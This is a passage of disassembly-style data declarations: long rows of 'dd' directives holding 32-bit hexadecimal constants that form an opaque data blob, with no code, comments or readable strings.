		dd 0BD80A1E0h, 5C03B4AFh, 0F992FC4Ch, 5019F062h, 0A284056Ch
		dd 0A2AA439Fh, 381213Ch, 51F9767h, 88A84Ch, 0C2A97EEFh
		dd 6B7FAA3Dh, 0AA091807h, 0A4CF485Ch, 84979ED9h, 976F1E10h
		dd 64470795h, 0D58EFD6Ah, 8868CE5Ah, 0EC30C01Fh, 0FF5CAF48h
		dd 496527F4h, 0E5CDD1C0h, 0A844DC6Fh, 0D3C94B60h, 775BD7C6h
		dd 49AA40E6h, 0E0B72C79h, 41199D7Ch, 0CCD8A130h, 8E86A201h
		dd 14694724h, 0B2C16109h, 5C02E478h, 0F2C2564Dh, 98B45934h
		dd 53ABB16Dh, 0BC03C95Bh, 0F666F9BBh, 79210538h, 139FAE57h
		dd 0C8B48B34h, 57E2C1D2h, 0CC893A2Dh, 1201C20h,	2C19C407h
		dd 2AC17EF8h, 6A8D6842h, 0E5C50013h, 6F0998B8h,	0BF54579h
		dd 49AC79FBh, 2DF6424h,	68F17331h, 2FF981B4h, 147BC156h
		dd 46740C2Ch, 7E6200DEh, 0E3FD8E7Dh, 0B5F000C6h, 0A6564537h
		dd 0CC9CA13Fh, 839F4782h, 96B4FE72h, 2B04B17Dh,	544CB06Eh
		dd 0C180D63Ah, 4B727F46h, 2A22B47Dh, 0A53B001Fh, 0EAEE08C9h
		dd 9B0F6652h, 0A0C5015Dh, 7579F51Fh, 0F7FD12E4h, 48F99Dh
		dd 0CB1E9425h, 538FFFB3h, 0DBE2E80Ah, 66930h, 574F3E5h
		dd 4BFFD212h, 810B897Ch, 4E7D0F63h, 71F09164h, 0BC181Ch
		dd 75B032A6h, 0B2FB43DFh, 440A14Bh, 4EB78116h, 0FDCC0E13h
		dd 7760A2DDh, 6BDC4C40h, 0CB514504h, 710009F3h,	5B0B13BEh
		dd 0AC9E7978h, 74E4D289h, 41314418h, 0B1ABE8C6h, 6774C82Ah
		dd 0A99DCD08h, 0FC1E002Bh, 0A6186D12h, 58C02EEDh, 4439B38h
		dd 2D9D4D5Eh, 3422EB1Bh, 12F0368h, 1CF6D900h, 84E7BA6Dh
		dd 65C2F97h, 88B2D859h,	0F1432247h, 6096C861h, 669742A0h
		dd 0F497BDACh, 6303C6BDh, 0D36F6435h, 4A390988h, 1896A38h
		dd 7CAFB6FAh, 9023C8FCh, 1B30DFF2h, 2D8A0202h, 0A889C921h
		dd 399311E0h, 0D46AACB6h, 9CF6208h, 40840825h, 283EAF53h
		dd 43D1F23h, 18DEF7Fh, 59684AABh, 2EE108C4h, 0CC000E16h
		dd 8510E387h, 9A3F0A29h, 91CC1C2Fh, 58FF1254h, 0C5125860h
		dd 0A5FE28D0h, 0F0BB16D0h, 7DD8A05Ch, 12D62740h, 13E09E43h
		dd 0F1F4B04Bh, 1C055278h, 1A8B7BA7h, 4DC090B4h,	7C0040BDh
		dd 0F0BFC76Fh, 2900754Bh, 6B064818h, 4D14B8B3h,	0C0C3705Ch
		dd 229187C1h, 7D4096D9h, 26C9ACDCh, 0AD3CDEF4h,	1C86B03Ch
		dd 0D101B325h, 2404BB60h, 0EA7BADBDh, 390EE040h, 4BFD4D22h
		dd 19BCF1D1h, 6060F984h, 0B534F24h, 74435A38h, 9CFEC985h
		dd 4318C8D2h, 0FC40C5B8h, 3F6BB32Eh, 0C93278Ah,	7C827072h
		dd 0B302F8FEh, 7DC8D6C9h, 73A5D898h, 0BA01E92Dh, 3AEC46ECh
		dd 7F4C0C06h, 63C22042h, 0F92142DDh, 0C107D22Ah, 856C856Bh
		dd 0ED867F18h, 9AC72CC2h, 2040DE70h, 3A102870h,	699D2784h
		dd 0FA3FFC40h, 5A85B54h, 0C6D1870Dh, 6C4E60D6h,	0C0C01688h
		dd 127D7C2Bh, 5DFB80h, 67F6CD30h, 1C9E4598h, 920465Ch
		dd 724224EDh, 93870324h, 7AB95306h, 3FDDD000h, 18C397C7h
		dd 354D005Ah, 0A7087DBEh, 81005448h, 0B3147390h, 0D3EB77B1h
		dd 7FCD0021h, 90D1A598h, 0E63A03Eh, 824404C0h, 76F5124Eh
		dd 0F2D8064h, 8F8ACDBBh, 0B13CB478h, 0D8FEFBB8h, 806C0B3Eh
		dd 4DDB3C50h, 2561349h,	0EDFDD199h, 375F10C4h, 2B970034h
		dd 0CB449EA1h, 4A9AB501h, 1D4B2EE7h, 4860064h, 9550B4B6h
		dd 5D3C9079h, 0A092FB9Fh, 8586A705h, 20936BC6h,	81ABC4A8h
		dd 0D032877Ch, 0F800BCF0h, 0C724E93h, 2033C1ACh, 46052DEFh
		dd 0C90B162Eh, 0FA60CE4h, 0DE5832D2h, 0EFA88F45h, 1048540Ch
		dd 0B949608Dh, 1E821940h, 4524980Ah, 48A8D426h,	89282D56h
		dd 28702860h, 62082078h, 0D43580Eh, 6A5C8621h, 3A522D70h
		dd 0BE16C6D4h, 4EE8D0AFh, 1E150C02h, 0A0401F16h, 9DBE50D5h
		dd 91005044h, 0C1A6AE67h, 182C3EDBh, 9148F781h,	3C12A39Dh
		dd 0D834B3BBh, 2A7A3C6Eh, 16A4948Eh, 967DED5Fh,	7F44302Ch
		dd 4434A5FBh, 1C002FFDh, 0B96731A5h, 0DA18643Dh, 0B3182B9Dh
		dd 0B007006Ch, 32C2A6BEh, 7F51CB3Fh, 23BC1E48h,	0C80B61EBh
		dd 77619DD1h, 520359Ah
		dd 0A84F68F8h, 21391971h, 61940AF9h, 0B62154C9h, 13AFF08h
		dd 433B40ADh, 9EC62A9h,	474945h, 245FA3F8h, 4D47B35h, 0B3BA5DCBh
		dd 0C0709431h, 2E9D503Ch, 0C70498BDh, 87C60ADEh, 6520599Eh
		dd 2FBC20F5h, 3112B422h, 9C576739h, 29DC1CC0h, 882B5C88h
		dd 2085D35h, 0EE07C10h,	0D09895D7h, 2CB650A7h, 1808E239h
		dd 2D41027Ah, 62A0A02h,	0EA1F1959h, 0BA0C1DCFh,	407408D2h
		dd 0CD4056F1h, 96D94032h, 64304B62h, 0D01702EBh, 18416003h
		dd 8053718h, 0F5810FA3h, 322F2188h, 0BA20D608h,	728C18E2h
		dd 34A9E02h, 831343Dh, 1C8DA95Ch, 17E5701h, 88826A1h, 0D708708Ah
		dd 0EE850C65h, 30A34F50h, 6DF62110h, 8014518h, 28C4E25Ah
		dd 8604586Ah, 17560413h, 1C60E904h, 0E40806D8h,	8CC8812Eh
		dd 821E141h, 0BA3D408Eh, 0DC5AB0A8h, 91A258CCh,	31576CFAh
		dd 0ACA89681h, 10CC558Fh, 0C64BB110h, 19402C09h, 320C385Dh
		dd 271E95Bh, 9306452Fh,	909655D9h, 8959521h, 0B18A4B3h
		dd 0F86F50D1h, 0C8AA08C4h, 23614E0Ch, 3365B1C6h, 0C6303108h
		dd 154C220h, 1088CA44h,	8B0C1669h, 0A82B080Ah, 811F2A8Ch
		dd 0D5C995BCh, 61ED19ECh, 710177B9h, 814898E1h,	0C4EFB921h
		dd 6149E10h, 5408633Bh,	4033E890h, 9CA8B469h, 0DD814EC6h
		dd 356C998Ch, 7F40E608h, 6721C45Eh, 47860411h, 68F76206h
		dd 32647A20h, 0D7B9366Fh, 108E684Bh, 8420131h, 540231AEh
		dd 271DACA2h, 3189702h,	3824EDA3h, 6288881Ah, 5E440CC2h
		dd 2E649120h, 9C93E9A9h, 32101830h, 24D2081Ah, 80665F80h
		dd 8F804A76h, 73EC8058h, 118D3E81h, 98E92319h, 5049F0C1h
		dd 24AC8122h, 0B4A8E424h, 5081DF05h, 7E8932D7h,	8D034959h
		dd 332032C3h, 2848BDD1h, 95803A52h, 2520CCE5h, 3C62B461h
		dd 6787208h, 0E435D193h, 3044C95Dh, 0BB04EBD6h,	60C604F4h
		dd 4535804h, 0C5043EDFh, 0E1730CE6h, 0A1756492h, 91FB0C33h
		dd 601F4074h, 14080D63h, 803810DEh, 71CD3232h, 0D1CC494Eh
		dd 79B49051h, 5C036812h, 0C3082A3Bh, 8052FE88h,	24812CE1h
		dd 38BCE051h, 1447F01h,	0B401E3CCh, 299EF95Bh, 47510FBCh
		dd 419309ABh, 0B3E1EC94h, 0F0D3B2F0h, 69796Fh, 0D5C5483Dh
		dd 7F080B81h, 0A7C434FBh, 84134900h, 0CD6B068Bh, 393C1241h
		dd 781DEA4Dh, 0D6425A0Eh, 9880B835h, 0F9C923h, 0A3B36403h
		dd 0FEFCC6E2h, 7C4F20C0h, 0B1C4F16Ah, 0D6700C50h, 0EF77DFA8h
		dd 2A93B1C0h, 512153Ch,	0AE940990h, 87080002h, 0B4451052h
		dd 0F4A94A00h, 0E40F3F54h, 0EBE3020Bh, 0F09D9C97h, 0ECABDCC8h
		dd 26305478h, 0A30F5889h, 5FB81C06h, 4C0652Fh, 47FC5A87h
		dd 942250D6h, 507651h, 0CB7405ADh, 0DC74E417h, 0A1181F74h
		dd 0C528969Ah, 9264A1EFh, 0DB3F3h, 9E4DF318h, 2F6106D9h
		dd 5869B630h, 0F05E2CECh, 106B603Ch, 0C4104A8Fh, 0F0C5D714h
		dd 0F8981424h, 0ED450D44h, 9000802Fh, 0ECC5D8h,	7CFCCCEh
		dd 0B9E24B47h, 0D3F3Eh,	0A1735FC4h, 6EF0B07Bh, 5AE64077h
		dd 951D4889h, 0A4808AC9h, 300A8E32h, 0DA3731ABh, 0CCCA5B50h
		dd 33302AB2h, 2F899962h, 6A6C14F5h, 7705A063h, 87E408h
		dd 64B947F8h, 7F721EB6h, 0B8E5F032h, 15C480ABh,	787A5Ah
		dd 81935947h, 0A18752B5h, 88C0F277h, 5BAA28EDh,	7B5F0026h
		dd 0FEA809E2h, 69008189h, 93311CF9h, 3FB27703h,	9D82461Fh
		dd 0E0D62F52h, 8EDC8087h, 0B6A45057h, 3076FC42h, 3D601131h
		dd 0DE0F9BC1h, 0C0A2649Dh, 0C394A46h, 2F98176Ah, 0DA8440F1h
		dd 0A1A0D345h, 3809CE30h, 138EF517h, 4D1352h, 0A435F335h
		dd 0CB17332Bh, 4F127B0h, 97585C40h, 2D0A6F1h, 9DE09FECh
		dd 8484878Bh, 80B30531h, 124A9809h, 0E0A56254h,	60FB2F40h
		dd 0A768D0C2h, 0E62C0593h, 40362D9Dh, 4A1200D9h, 0CB6A044Dh
		dd 38C0CE25h, 809DB931h, 0E891E8h, 74173A3h, 320C3DD0h
		dd 58C3B82Fh, 248CB8F8h, 2CCBEDh, 5647CFFBh, 0FEFD4FEFh
		dd 69A00880h, 0DC00A88Eh, 23AB1954h, 2BBEDD9h, 0CB2968A9h
		dd 26DF3F67h, 24C8425Ch, 85A84AACh, 1EA5CF1Eh, 0BE412B0h
		dd 34583FB0h, 0A1945F05h, 9009103Ah, 29E818F4h,	344E00CAh
		dd 44BB0996h, 22008480h, 0AE6CAAC2h, 231210h, 0CABAF849h
		dd 8AF3540Bh, 0D94B0A00h, 2995CD7Dh, 0E945043Fh, 0D472EF2Fh
		dd 83048734h, 101E25D2h, 0D4A4CBD5h, 0A4539D06h, 0F05883A0h
		dd 1877609Bh, 0D88E5ECBh, 6A12644Dh, 0EAB004ADh, 5BA8C1F7h
		dd 0F548BE47h, 50E1E3D8h, 80043557h, 22AB1C28h,	92839EA1h
		dd 40774838h, 3841D10h,	3E2FCB45h, 0A390095Eh, 18006D90h
		dd 198946A7h, 0B7C6C502h, 4142516Ah, 289F3A6Ch,	553C0012h
		dd 71739D6Bh, 3D0B70C3h, 64C7E2DBh, 0B04F610Ch,	0F890BBF2h
		dd 0BF7BF7F9h, 0D7200B01h, 30A7CB1Ch, 0C5AD2985h, 451C00EAh
		dd 0ECA9494Dh, 99019891h, 8F57CB06h, 0BD472080h, 77FF6C4Dh
		dd 0DD6F38C1h, 0A5F019B0h, 8CBF30B1h, 7959C650h, 2F2CAC1Fh
		dd 8908C025h, 48F0A487h, 121F24A9h, 0B068AF93h,	0F2001CD9h
		dd 2F6CC6Dh, 1F7C37Fh, 0B5091664h, 5075CCBh, 12943014h
		dd 4CA0EEB0h, 34C89881h, 740D694h, 0F2BEC764h, 30832C93h
		dd 79F27281h, 8901585Ah, 2EC9A388h, 73F5CB24h, 14809C02h
		dd 0A438203Ch, 2E20D890h, 0FCAB2495h, 4642036h,	15DB4013h
		dd 0FAECCCFBh, 600B2C01h, 8039C56Dh, 3F7CA0C4h,	1380C0C7h
		dd 16946510h, 0D241DB6h, 7503E07Dh, 1E7FE430h, 56A19CD8h
		dd 0C6480032h, 3EE037EEh, 4E50EB03h, 0FACCA50Dh, 9024C0C7h
		dd 48343E88h, 0E5306A00h, 0EAFF1512h, 0C69E1005h, 0F052F327h
		dd 0DA60CC0Ah, 26593C3Ah, 0F821E493h, 8C19B396h, 0DB4012D8h
		dd 0D7B57h, 2E8B8FEDh, 0D3489307h, 2F0F2124h, 0FC0E3912h
		dd 4AE4C755h, 6C5137E0h, 9590107h, 472F5683h, 49B0403Bh
		dd 0E4F02DA7h, 0A3B82C54h, 7F008FFEh, 36319376h, 0F8CE390Eh
		dd 1C6E01BBh, 3D2ED734h, 2FC04087h, 38C015B1h, 0F79DFE79h
		dd 0C3783046h, 98FB1D08h, 8802C8AAh, 0AC4120BBh, 0F900EEA6h
		dd 63422F97h, 0B3B9791Bh, 0CB7EC2F0h, 0F8374E30h, 12A88196h
		dd 347406AEh, 7DEC2108h, 20CC42D4h, 0BB015A04h,	2039A97Ah
		dd 0DCA0A5ACh, 0ACD2AA9Dh, 34D56449h, 859D19A4h, 31A518FDh
		dd 466F8h, 56434E47h, 78451C85h, 44A630EEh, 6CEDC511h
		dd 29062AE6h, 13F01A2Fh, 3FAC00A8h, 934D25F2h, 0A39C022h
		dd 0CB18E16Eh, 0CC40E6AAh, 0EC8A6D2Ah, 0B6812C66h, 58110D8Ch
		dd 4C10F2E9h, 141649C0h, 4300204Ch, 0CCFCFB73h,	0D0EAAC8h
		dd 6DA1CD08h, 68653001h, 0F7D19821h, 0D28C051h,	1B017062h
		dd 470511F1h, 0C1386020h, 3B7F7A17h, 78923800h,	16C748F0h
		dd 58A913B8h, 7F35A85Ch, 8103D171h, 51B052BBh, 0A12BC0A3h
		dd 2C9940BEh, 1E127C92h, 0C430EA86h, 8052699Dh,	0DA163663h
		dd 8421E03Dh, 4700DFCFh, 102E2B2h, 2D9D651Bh, 4C08E23Bh
		dd 2F74A13Ch, 9804D862h, 1410D0A1h, 48150094h, 0B1C790B4h
		dd 7CB2413h, 31F59AACh,	3EAB8C1h, 0AC208D89h, 1A0E03ADh
		dd 0B1F2811Eh, 0C0B30481h, 1A2060E3h, 7B56C240h, 277F0347h
		dd 0E1457CFEh, 884ABC2h, 4E94800Dh, 0CB00F75Dh,	0DEE4F4C2h
		dd 0D364AAh, 0D2BB7322h, 93479207h, 3A593202h, 816163B7h
		dd 3FB8E7A4h, 0A08F3860h, 3FA807F8h, 0F57F49h, 0F6960B20h
		dd 671068EBh, 0A979D35h, 12FC7C08h, 40A80B78h, 5C68A442h
		dd 561213DEh, 8802F396h, 42C65E31h, 88E508h, 0B5F7DCCBh
		dd 0D349A49Dh, 44BE3D34h, 5E6A011Ch, 0AA272FB0h, 3DC5C4D6h
		dd 0C2801309h, 7F880070h, 907257BCh, 64C70180h,	6F2F8629h
		dd 0F360832Eh, 7133CA4h, 72AAE08h, 79321383h, 9CEFF823h
		dd 0BA0454Fh, 0B1B8D09Ch, 490FD11Ch, 41595E9Fh,	368AA15Ch
		dd 0A0EDE98Bh, 9EC4F882h, 74F7C868h, 1D46A4Dh, 0A13F3A12h
		dd 0E8807298h, 817B5F0Eh, 0EB3ABE46h, 0A72A8189h, 2B93C09Fh
		dd 13E25F0h, 529E09EAh,	32475045h, 432FC5F8h, 0C326490h
		dd 9031505Ah, 0A0D8E952h, 0B85E60E4h, 2598C357h, 5F7D88A0h
		dd 0CF0DA700h, 8FA0EA45h, 20B4988Ch, 904239Fh, 0E39EC69Bh
		dd 92AC8092h, 5BD4F0CCh, 70F054F8h, 0FA2D9B01h,	21B3C744h
		dd 0A00801D4h, 4D6E30F3h, 4A6A5409h, 0AA8C4B15h, 0CD7840E8h
		dd 113A12C5h, 0EF470738h, 50B62A7h, 0D9D0F4C0h,	431F9103h
		dd 707BC32Fh, 0CB573C70h, 9A9400DEh, 0C7B31FA1h, 0E872FCB8h
		dd 68064F26h, 0B6DAE00h, 259DDDE0h, 80041CEh, 77540302h
		dd 94619A14h, 0D70840FCh, 44DC758h, 39107A81h, 0D85978ACh
		dd 0DCF8C38Ch, 0DCAB2C26h, 8440E889h, 0F8814A04h, 0CB004F70h
		dd 0AD0247D2h, 33960E6h, 3588C009h, 81250076h, 21AE9BA3h
		dd 0F10E5657h, 0F9D5A1B3h, 8F201638h, 5B870368h, 3486E2C9h
		dd 0D88AF3CAh, 89FCC820h, 1490A289h, 8A509CCBh,	5E007E88h
		dd 8995E967h, 9A7C3A0h,	26D355B8h, 84D6F404h, 3F8B008Ch
		dd 2FDF5DDBh, 0C4E49228h, 211EDD05h, 0B0047285h, 74018ED6h
		dd 7AC39D63h, 74585C09h, 51FB005Ch, 974D0F1Bh, 42BB3Fh
		dd 47FD899Fh, 4A7895B8h, 8DF4E059h, 1C377680h, 0FC87909Dh
		dd 0C0C6A71Eh, 0FA43D156h, 0AA31A108h, 0F71928A5h, 75D262ECh
		dd 78551813h, 0CB0208C5h, 9CC0965Fh, 0D3BE4FF8h, 1CA42C38h
		dd 27086048h, 0EDA8C0A7h, 0BE12EE0h, 0AF2700E0h, 0DF8A670Ch
		dd 0F675EF00h, 1F06F902h, 5B3125A1h, 2678F872h,	0AC5F9C2Ah
		dd 0A748ED1Fh, 50A4CC5h, 0FA708Ch, 4EFCDE6Ch, 0E2B35A32h
		dd 0B7AA4800h, 9DD6350Ch, 0CC625468h, 0B8A3657Eh, 0C8FD14A0h
		dd 0F5124306h, 0B907D669h, 0EABA742h, 0D29D11A0h, 3338D7BAh
		dd 35AAA138h, 0CC452C60h, 0E09B2Ch, 0DCB50E44h,	3285C33Eh
		dd 785C312Ch, 83173F89h, 14BD6C0h, 9FE27510h, 2C149DDFh
		dd 204C2E30h, 5B96A448h, 140B610Bh, 6A54B68h, 306159B8h
		dd 0C31C42F9h, 0A4F35484h, 80E1443Ch, 0A6EAC670h, 9A6903A8h
		dd 0E40F2C1Ch, 885C2940h, 920B1630h, 486CD8BBh,	0DDCCB4DAh
		dd 0C672D278h, 0FB91A4A8h, 0F162BE01h, 45D89D15h, 0E9F54881h
		dd 707F1838h, 5103047Ch, 0ED9D14EAh, 6D203ED9h,	78FDA700h
		dd 0D23D3B48h, 0A8E409FCh, 0DAA4EC5Dh, 0F8744460h, 3B7C18EEh
		dd 36B6F2ADh, 3DDD18C1h, 0CC7147CAh, 0C2C72982h, 0FA8BF3C4h
		dd 8794FCA4h, 9099E550h, 1379B020h, 948130CAh, 8868007h
		dd 0EA02D23Fh, 61CAF46Dh, 6FDD0BA4h, 80412EAh, 9300C14Dh
		dd 29387304h, 0E42D0A3h, 0DCAB0356h, 0FAA41010h, 0AF085B00h
		dd 7425D44Bh, 2FEDB406h, 482789h, 4856FF88h, 7BC6D0BFh
		dd 6A601A69h, 35450BCh,	0AE7B473h, 21C6D5CBh, 2F53D498h
		dd 3C9F9F9Ch, 48424256h, 40273F12h, 0A44E5244h,	1070B9ACh
		dd 13CC5849h, 0BC205F12h, 0B14A8B9Bh, 2D80A21Ch, 5C34945Dh
		dd 0F3BC60FFh, 85C45255h, 1BB04F40h, 6D10FCA3h,	1C225E9h
		dd 5A19DAF8h, 0C31739F0h, 5C18D848h, 0A961A2C1h, 0DB114C10h
		dd 0A172A113h, 3FC4485Ch, 88B960B8h, 121498A7h,	10EC5C6Fh
		dd 243AFA10h, 0CA6280EEh, 13B47107h, 0B49C0E5Dh, 4354AF0h
		dd 7CB3861h, 0D42D9021h, 0AB020494h, 80A82821h,	8098D4C6h
		dd 2D949A20h, 2C912DADh, 0F708813Dh, 6F9D04F6h,	1B20C031h
		dd 0CABF2C4Dh, 35A901C4h, 0D1AC9CA3h, 0F6A8E489h, 6533E717h
		dd 1279FC00h, 6BD80FAh,	4FA19EDDh, 7E00788Bh, 4965FF7Fh
		dd 0CB2EF6Ch, 7757CB0Eh, 4F2648A8h, 0EEE47050h,	3115C0D1h
		dd 7A8123Fh, 80BC3244h,	0C6956139h, 412A5830h, 13CDA2h
		dd 0E315D638h, 82FD908Dh, 0BE3D24B0h, 282F34CBh, 3E8298D7h
		dd 681C62A4h, 13FA2A7Ch, 0C3645C3h, 0C5110C14h,	90AB8E2h
		dd 0A44D4228h, 0AE4F5E07h, 0B0B3EDC4h, 1F20C043h, 1E207748h
		dd 0F5925A79h, 9CD118C3h, 3020A099h, 41F49CF1h,	29628730h
		dd 0F5178474h, 9869A8CCh, 0A1C70E51h, 9FB17Dh, 129EE03Eh
		dd 0E832CB15h, 1249910Ch, 52C67084h, 0A8213085h, 8451494Ah
		dd 20A9792Ah, 0F22F1FACh, 44940D41h, 399D2F1Ah,	0DD14C018h
		dd 84045C4Dh, 31311E8Dh, 41744054h, 6C05FF09h, 0FAE4D9Dh
		dd 2D4C14CCh, 241BC797h, 28F83948h, 0C1078489h,	9AB7CC74h
		dd 0C42C8580h, 523200F2h, 134259C7h, 4B7B42Fh, 7C88DA14h
		dd 0B827E93Fh, 6B0C327Dh, 0D8449358h, 3DCD544h,	0F4C9EBBFh
		dd 303E6A3Bh, 80B2791Eh, 14234525h, 0DADCA270h,	93988894h
		dd 867099F5h, 0F074E448h, 29449C3h, 8616C12Dh, 0E7BE10BFh
		dd 0A0498704h, 1C60F090h, 80680641h, 0F8E29D82h, 0BB2ECC48h
		dd 6B16E4A0h, 0C707AA00h, 1E3913B6h, 0A87DF7DDh, 81010B3Dh
		dd 0B92F52A0h, 31503528h, 3876E034h, 0A48910C0h, 78FFF29h
		dd 0C04F444Eh, 0C03F059Dh, 791239A0h, 3A6F63EAh, 0CB190008h
		dd 0ABF21Ch, 2B1EE6Fh, 315A49AAh, 4752F8A0h, 46C14A01h
		dd 0E1C520F8h, 0B0EC440h, 0ADDC242Fh, 0B71007D0h, 0B0C98556h
		dd 8D18F340h, 0AE08153Ch, 830D0107h, 81096302h,	24CBDDC6h
		dd 78B0A354h, 75CC9004h, 14B39A2Fh, 7273A17h, 400CFA6Bh
		dd 0A8A2E91Eh, 0D485812Eh, 60364C8Eh, 0A39E665Ah, 0EAE0190h
		dd 0CC716314h, 0E12FC089h, 93528200h, 483BEF2Eh, 484CB87Eh
		dd 0F70EA8B9h, 676B2FADh, 944A5012h, 6463EC62h,	13CF05F0h
		dd 1E26B890h, 0AA8720B6h, 0D54A2193h, 1317DA0Fh, 0A19A09h
		dd 0CD7A5A78h, 0E6FB0048h, 0A0B78C89h, 93032165h, 0EF1E0E02h
		dd 0E9BCE0E3h, 0F9E70903h, 68093706h, 824B8CA2h, 47668000h
		dd 4D6F09BEh, 0C80B754Eh, 27C10900h, 0C82CD92Fh, 9C2A813h
		dd 0FC620B07h, 0D49E04A5h, 0CB409038h, 24BE95A2h, 1F4B6C10h
		dd 8815819Ch, 0E24DA952h, 500948F1h, 4C140B36h,	31189278h
		dd 8780D1DDh, 40307D42h, 0ED7FFCh, 7559B889h, 7290026h
		dd 73491C76h, 0A02560C7h, 5DC08074h, 0C40AB32Fh, 0A62AA659h
		dd 0F0DE8124h, 43C4C299h, 0CF4C32CBh, 0A48F8220h, 2D30A0A0h
		dd 1F073407h, 0C0EF1860h, 8C795930h, 0CB93002Ch, 0C9E8A389h
		dd 31F07B6Fh, 7717E301h, 51B08149h, 4BF3B441h, 31A971h
		dd 1EF430C0h, 0C0A60756h, 62517F43h, 0A112DE6Dh, 1C00BD3Ch
		dd 20E1E6C5h, 42B6009Bh, 4E56C341h, 0D279D0Eh, 5330206Ah
		dd 13E0E337h, 22E9C5D8h, 8060F5CCh, 5428F463h, 0A12FD877h
		dd 9DE80141h, 0BC40378Ch, 44682F58h, 0C618AB17h, 76406150h
		dd 4138980Bh, 35F86296h, 389539A8h, 16D80445h, 4927A8A6h
		dd 0B5CB18E9h, 84491F0h, 0C8E05415h, 0E8B5482Dh, 979DC304h
		dd 3A6C81AFh, 10C028DCh, 9A2EB992h, 94AA1680h, 19F8BDD4h
		dd 0DB81BA4Fh, 129960F0h, 432FA28Fh, 34ABF538h,	0E5470E81h
		dd 5AF3E0D6h, 9DD14805h, 0E8E28B89h, 429CFC2Eh,	6C54B669h
		dd 0A0CB1403h, 0B0680B40h
		dd 0C4C442BEh, 62934F26h, 5169B309h, 0D62F891Ch, 0A88850AAh
		dd 0BB5A00ECh, 3CC522A4h, 0FC0103CAh, 2BA3476Ch, 75C9E653h
		dd 4C792FF0h, 4DCBAC6Fh, 94436401h, 0F45C28D1h,	0CCA00485h
		dd 0AC24B387h, 0C0F60014h, 49DDB004h, 19DBB01h,	0EB54CB45h
		dd 0EC129C01h, 2705A233h, 88A1B82Ah, 0DF8528C7h, 86ABBC05h
		dd 0B7BF5090h, 957EE871h, 11847880h, 0EF89C644h, 0F04DE0F6h
		dd 0B930D88Ch, 4F5EB05Eh, 4CA19C03h, 5D98131Eh,	3B6800C2h
		dd 111D1228h, 379CCB13h, 0E8BDA8D2h, 136017E4h,	49633C2Fh
		dd 14021594h, 0DA02B6D9h, 0A271421Eh, 0C6EDAB2Ch, 74C3FF4h
		dd 400011EBh, 651F2F5Ah, 28610896h, 3D035786h, 0A5811016h
		dd 0C231817h, 75210071h, 1EB5F7C1h, 71C4F95Eh, 4885BD12h
		dd 3DFC4C99h, 0AA4F0648h, 48DD01CBh, 0F5D99500h, 104B5057h
		dd 12B1E843h, 0E39FE13Eh, 123A00E8h, 988ABC90h,	0ACBA0F88h
		dd 74978721h, 2F9D02D4h, 8084B155h, 0F734827Fh,	0D47DB485h
		dd 409C9DB8h, 9D924F20h, 0B8C0CA30h, 7D30C3h, 1FE88F4Ch
		dd 0A1A0EE45h, 39C4DE09h, 0F02458BBh, 103769ADh, 13042CF9h
		dd 88B8D71Bh, 50ECA116h, 0FE00BF64h, 34BFF57Bh,	0C101C842h
		dd 0B5063CFAh, 9C20A3C2h, 94A251E8h, 5C04F02Ch,	5C05A2Fh
		dd 27C749E5h, 78C07C74h, 5A8E2041h, 0AC2C34FCh,	750072B0h
		dd 0D303ACA0h, 10C742Ah, 0FDA73293h, 2079B976h,	0FF302F40h
		dd 8FF85833h, 25320B0Dh, 0AD065E7Eh, 0A3001866h, 0CF02AE9Ch
		dd 1EF8FE4Dh, 8C1B8489h, 0FD8001A2h, 8B7C6C7Eh,	0D5888500h
		dd 0A13607Ch, 6B5672A1h, 0C890F1C8h, 9D884AB2h,	8CFA4CC2h
		dd 0C2F4D7D6h, 9300BC8Eh, 42F8207h, 0FE61C322h,	431C9356h
		dd 60C9B1D1h, 9704816Ch, 0A5AEF55h, 12C9F0BCh, 4824502Bh
		dd 83848810h, 50E181D2h, 58DFAEE1h, 8E00D810h, 936989A1h
		dd 0BEE2DA03h, 0AE811D27h, 7A708938h, 4C4D4014h, 44151A25h
		dd 23AB26B4h, 0E7CE8A0h, 30C0F795h, 0D0C5340Fh,	4E0AB40Eh
		dd 0A05FE1B8h, 9024BDE2h, 0B0AA40BAh, 489221F4h, 0E09658A1h
		dd 500B5D41h, 40669DA3h, 0E4FFC04h, 0EFEEF9A9h,	2F930DA0h
		dd 0A60433EAh, 1A96A19Fh, 282C28E2h, 6450249h, 6B75630Eh
		dd 8E0E9D4h, 0A1C29838h, 24699B77h, 2B8C21ADh, 0F4FA9CA0h
		dd 0EFC8E116h, 8FC0797h, 7A42CB73h, 9DAF8780h, 58984C1Dh
		dd 0ABE39500h, 0AE687F07h, 5044BC43h, 734019A1h, 0E354037Eh
		dd 0CA017D04h, 60F21598h, 0EA5D9309h, 2D0C50A0h, 9400902Fh
		dd 0CBD29DDEh, 263068C6h, 78087460h, 2FDC09D7h,	74527B0Fh
		dd 27642D44h, 0BC32D638h, 9FCBE001h, 0AAD20752h, 9707311h
		dd 0D80ABC57h, 0E2B96C28h, 0EC13C25Ah, 0E88A8413h, 0A4D0104Bh
		dd 610B9120h, 27DFB4Dh,	72387920h, 7ECE0904h, 0E4820822h
		dd 705CDC76h, 24446BC2h, 0AD48C262h, 0C761345Ch, 44AAA045h
		dd 62FC5AA0h, 0E8929888h, 0C3A08868h, 47CC3D0Bh, 959444B3h
		dd 68F80492h, 77486360h, 96DCE478h, 50E6A5C4h, 344BCDF2h
		dd 5F00E88Fh, 1865A17Bh, 9D12C58Ch, 9800ABA6h, 1048F752h
		dd 6944214Ch, 8C898BDh,	0C4A8E710h, 0FB68A169h,	37451400h
		dd 1388FA92h, 1308F25Bh, 31D4A024h, 44824Ch, 70639647h
		dd 9C6638CBh, 0EDC7E1F8h, 58092AC4h, 0F4118A2Fh, 0F90A9D84h
		dd 5D313CD8h, 7A1098C4h, 430679ACh, 843ECB06h, 0B97B0358h
		dd 89709480h, 0EBEFA88h, 330B7C1Eh, 908A114h, 278121CBh
		dd 0C6C1FFF8h, 10811B52h, 439DB8F7h, 1E78BA9Bh,	6C0C7473h
		dd 33AD033h, 29A95014h,	0D8C85C32h, 211DB448h, 3E8B22ACh
		dd 9D98303Ah, 48826462h, 0C130EC52h, 0D12FEC5Dh, 1E128050h
		dd 0A1EA09C0h, 0A45A71EFh, 3414E8D7h, 4CF8E708h, 135CC348h
		dd 4881D3A8h, 0F5047023h, 4D5032F8h, 0B4984EC8h, 0F84240CFh
		dd 2C2FF00Ch, 15950D2h,	0B8795C9Fh, 0E0E1080Dh,	309E4BA6h
		dd 4400EF92h, 0C7934751h, 33F8002Ah, 25E2E4C5h,	2F121216h
		dd 70C809B7h, 7F7235B0h, 7D0C8011h, 533C060Eh, 588E00DCh
